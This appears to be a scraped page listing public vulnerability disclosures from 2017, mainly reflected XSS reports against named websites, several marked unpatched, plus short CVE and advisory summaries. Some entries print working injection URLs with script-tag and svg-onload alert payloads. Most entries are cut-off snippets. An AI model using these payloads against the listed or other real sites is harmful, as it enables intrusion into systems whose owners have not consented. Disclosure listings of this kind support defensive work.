nogaro-tourisme.fr XSS vulnerability

Vulnerable URL: http://www.nogaro-tourisme.fr/search Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 6256690 VIP website status:| No Check nogaro-tourisme.fr SSL connection:| Grade:...

Jtag Calendar 6.2.4

JTag Calendar versions 6.2.4 and previous Resolution: update to 6.2.5 Developer states: Fixed security issue in search functionality Update notice: https://joomlatag.com/premium-joomla-extensions/jtag-calendar-detail.html...

bulls.de XSS vulnerability

Vulnerable URL: https://www.bulls.de/suchergebnis.html?query=1zqjyo...

expert-technomarkt.de XSS vulnerability

Vulnerable URL: https://www.expert-technomarkt.de/index.php?stoken=sid=〈=0=search=1zqjvh%27%22...

br.msi.com XSS vulnerability

Vulnerable URL: https://br.msi.com/search/...

pl.msi.com XSS vulnerability

Vulnerable URL: https://pl.msi.com/search/...

es.msi.com XSS vulnerability

Vulnerable URL: https://es.msi.com/search/...

koh-i-noor.cz XSS vulnerability

Vulnerable URL: http://www.koh-i-noor.cz/en/search?s=%27;alert/XSSPOSED///%27;alert/XSSPOSED///%22;alert/XSSPOSED///%22;alert/XSSPOSED///--%3E%3C/sCRipT%3E%22%3E%27%3E%3CsCRipT%3Ealert/XSSPOSED/%3C/sCRipT%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017...

CVE-2017-3299

CVE-2017-3299 describes a vulnerability in the Oracle PeopleSoft Enterprise PeopleTools (subcomponent: PIA Search Functionality). Affected versions are 8.54 and 8.55. The issue allows an unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Success...

CVE-2017-3299: Undefined Security Weakness

Vulnerability in the PeopleSoft Enterprise PeopleTools component of Oracle PeopleSoft Products subcomponent: PIA Search Functionality. Supported versions that are affected are 8.54 and 8.55. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromis...

drk.de XSS vulnerability

Vulnerable URL: https://www.drk.de/suche/?id=502kesearchpi1page=1kesearchpi1sword=test"alert/OPENBUGBOUNTY/...

schwancosmetics.com XSS vulnerability

Vulnerable URL: https://www.schwancosmetics.com/de/service/suche.htm?q=jhhhl=changed...

strategy2050.kz XSS vulnerability

Vulnerable URL: http://strategy2050.kz/ru/search/?query=xxxx%22%3E%3Csvg%20onload=alert%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 269661 VIP website...

torcloud.pw XSS vulnerability

Vulnerable URL: http://torcloud.pw/search.php?q='"--!confirmOPENBUGBOUNTY...

sonoworld.com XSS vulnerability

Vulnerable URL: https://www.sonoworld.com/Client/SearchResults.aspx?SearchString=fetal heart'"--!...

cpotools.com XSS vulnerability

Vulnerable URL: http://www.cpotools.com/on/demandware.store/Sites-Bosch-Site/default/Search-Show?q=tools'"--!...

brooksrunning.com XSS vulnerability

Vulnerable URL: http://www.brooksrunning.com/enus/search?q=beast'"--!...

ucsf.edu XSS vulnerability

Vulnerable URL: http://www.ucsf.edu/search?search=alert/OPENBUGBOUNTY/...

echobridgeac.com XSS vulnerability

Vulnerable URL: http://www.echobridgeac.com/search.php?keyword=sd=homeent...

The vulnerability of the Flash Player software, which allows a violator to execute arbitrary code

The vulnerability of the RegExp class in the Flash Player software platform arises from a violation of the buffer’s initial limit. Exploiting this vulnerability allows an attacker, operating remotely, to execute arbitrary code as a result of violating the search functionality...